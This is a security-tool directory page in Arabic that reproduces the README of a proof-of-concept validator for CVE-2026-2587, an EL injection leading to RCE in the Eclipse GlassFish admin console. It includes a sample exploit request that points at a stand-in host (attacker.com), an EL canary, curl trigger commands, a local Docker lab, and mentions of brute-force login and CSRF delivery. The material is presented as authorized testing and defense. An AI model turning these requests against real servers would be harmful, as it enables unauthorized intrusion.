Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-2587-Exploit-POC — مدقق PoC لـ CVE-2026-2587 لثغرة EL Injection في Eclipse GlassFish تؤدي إلى RCE في معالج gadget.jsf بوحدة التحكم الإدارية. ماسح آمن ومعتمد للثغرات للاختبار المصرح به. | Kitploit
أدوات/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
ماسحات الثغرات الأمنيةالتحليل الديناميكي (عزل)تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

مدقق PoC لـ CVE-2026-2587 لثغرة EL Injection في Eclipse GlassFish تؤدي إلى RCE في معالج gadget.jsf بوحدة التحكم الإدارية. ماسح آمن ومعتمد للثغرات للاختبار المصرح به.

عرض المستودعالموقع الإلكتروني
110منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-2587 Exploit PoC — أداة التحقق من حقن EL (EL Injection RCE) في Eclipse GlassFish

أداة تحقق آمنة (PoC) لـ CVE-2026-2587، وهي ثغرة حرجة من نوع حقن Expression Language (EL) / تنفيذ أوامر عن بُعد (RCE) تؤثر على معالج الأدوات (gadget handler) في لوحة إدارة Eclipse GlassFish عبر /common/gadgets/gadget.jsf.

تساعد هذه الأداة فرق الأمن في التحقق من التعرض لـ CVE-2026-2587 في بيئات GlassFish المصرح بها باستخدام "كناري" (canary) حسابي عادي (benign arithmetic EL canary).

المُعين من قبل: مؤسسة Eclipse (CNA) · تاريخ النشر: 19 مايو 2026 CVSS: 9.6 حرج · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — حقن Expression Language الإصدارات المتأثرة: غير معروفة في الإفادة العامة حتى 21 مايو 2026 الإصدارات المصححة: غير معروفة في الإفادة العامة حتى 21 مايو 2026 قاعدة الماسح الضوئي: الإصدار مخصص للسياق فقط في التوجيه/الإبلاغ؛ الحكم يتطلب دليلاً.


جدول المحتويات

  • ملخص الثغرة
  • كيفية العمل
  • متطلبات المصادقة
  • الإعداد
  • بيئة المختبر (Docker)
  • إنشاء ملف XML للاختبار
  • الاستخدام — هدف واحد
    • محلي / Docker
    • بيانات الاعتماد
    • تسجيل الدخول بالقوة العمياء
    • عن بُعد عبر نفق Cloudflare
    • XML ثابت مستضاف مسبقًا
    • عن بُعد عبر ngrok (الملاذ الأخير)
    • الفحص بدون مصادقة فقط
  • الاستخدام — أهداف متعددة
    • تنسيق ملف الأهداف
    • المسح المتوازي
  • تنسيقات المخرجات
    • الكونسول
    • CSV
    • JSON
    • دمج المخرجات
  • خيارات متقدمة
    • اكتشاف النقاط النهائية والإصدارات
    • قيم كناري مخصصة
    • تذييلات مخصصة
  • حالات الاختبار
  • تفسير المخرجات
  • التحقق اليدوي
  • المعالجة
  • المراجع
  • إخلاء المسؤولية

ملخص الثغرة

توجد ثغرة حرجة في تنفيذ الأوامر عن بُعد في معالج أدوات لوحة إدارة GlassFish. يقوم التطبيق بمعالجة ملفات .xml يتم جلبها من عنوان URL يُقدم عبر معامل الاستعلام gadget= ويقيم القيم التي يوفرها المستخدم داخل سمات <ModulePrefs> من خلال محرك Java Expression Language (EL) دون تعقيم أو هروب.``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

إذا احتوى XML على `#{7*7}` في سمة `<ModulePrefs title="">`، يقوم GlassFish بتقييمه من جانب الخادم ويعيد `49` — مما يؤكد تنفيذ EL. وتتبع سلسلة كاملة من RCE عبر وصول EL إلى وقت تشغيل Java.

السجلات الاستشارية العامة الحالية لا تنشر نطاق الإصدارات المتأثرة أو المصححة. لهذا فإن هذا المدقق يعتمد على الإثبات أولاً: فهو يبصم GlassFish ويبلغ عن بيانات الإصدار، لكنه لا يصنف الهدف على أنه ضعيف من خلال سلسلة الإصدار وحدها.

---

## كيف يعمل

![سير عمل التحقق الآمن لـ CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

يقوم مسار التحقق الآمن باستضافة استعلام XML غير ضار، ويرسل طلبًا موثًقًا إلى وحدة تحكم الإدارة إلى `gadget.jsf`، ويترك GlassFish يقوم بجلب ذلك XML من رابط الاستدعاء الخلفي، ويتحقق مما إذا كان الكناري `<ModulePrefs title="">` يقيم من `#{7*7}` إلى `49`.

**تأكيد نقطة الحقن مقابل عدمه:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

متطلبات المصادقة

السيناريوهل المصادقة مطلوبة؟
الوصول المباشر إلى gadget.jsfنعم — مصادقة FORM، صفحة تسجيل دخول 200
هجوم CSRF واقعيلا — يستغل جلسة المدير النشطة
هذا المُتحقّقنعم — --cookie أو --username/--password
فحص التعرض غير المُصادَق عليهلا — يقوم البرنامج النصي باختبار هذا تلقائيًا

ناقل CVSS PR:N / UI:R يعني:

  • PR:N — لا يحتاج المهاجم إلى أي بيانات اعتماد خاصة به
  • UI:R — يجب أن يتفاعل مسؤول مسجل الدخول (تسليم CSRF)

للتحقق المخبري، تجاوز CSRF تمامًا — استخدم جلستك الإدارية الخاصة مباشرة.


الإعداد

المتطلبات: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

**محتويات المستودع:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

بيئة المختبر (Docker)

ملاحظة: لا تزال GHSA تدرج الإصدارات المتأثرة والمصححة على أنها غير معروفة. omnifish/glassfish:7.0.15 هو مرشح مختبر قوي — ليس بناءً مضمونًا ليكون عرضة للخطر. تظل أداة التحقق الأولية هي الكناري الحسابي: إذا كان #{7*7} يساوي 49، فإن EL نشط.

الخيار أ — docker compose (موصى به)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

يقوم بتشغيل GlassFish 7.0.15 مع ربط المنافذ بـ `127.0.0.1` فقط و `host.docker.internal` مربوط مسبقًا بحيث يمكن للحاوية الوصول إلى خادم XML المحلي الخاص بك.

### الخيار ب — docker run مباشر```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

وحدة التحكم الإدارية: https://localhost:4848 · تسجيل الدخول: admin / admin (شهادة ذاتية التوقيع — تحذير المتصفح متوقع.)


تقديم ملف XML الخاص بالمسح الضوئي غير الضار

في محطة طرفية ثانية:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

تحقق من إمكانية الوصول من منظور الحاوية:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

المشغل اليدوي

سجل الدخول إلى لوحة التحكم الإدارية أولاً (جلسة متصفح أو --cookie)، ثم:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

| المخرجات | المعنى |
|---|---|
| `CVE2587_TITLE_49_END` | **قابل للاختراق** — تم تقييم EL في `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **قابل للاختراق** — تم تقييم EL في نص CDATA |
| `CVE2587_TITLE_#{7*7}_END` | غير قابل للاختراق / لم يتم تقييم EL |
| *(no output)* | لم يقم GlassFish بجلب XML — تحقق من إمكانية الوصول إلى الاستدعاء |

> عادةً ما يظل نص CDATA خامًا حتى في الإصدارات القابلة للاختراق؛ نتيجة `TITLE` الإيجابية وحدها كافية لتأكيد النتيجة.

---

### التحقق الآلي ضد المختبر المحلي```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

إنشاء ملف Probe XML

تنزيل الأداة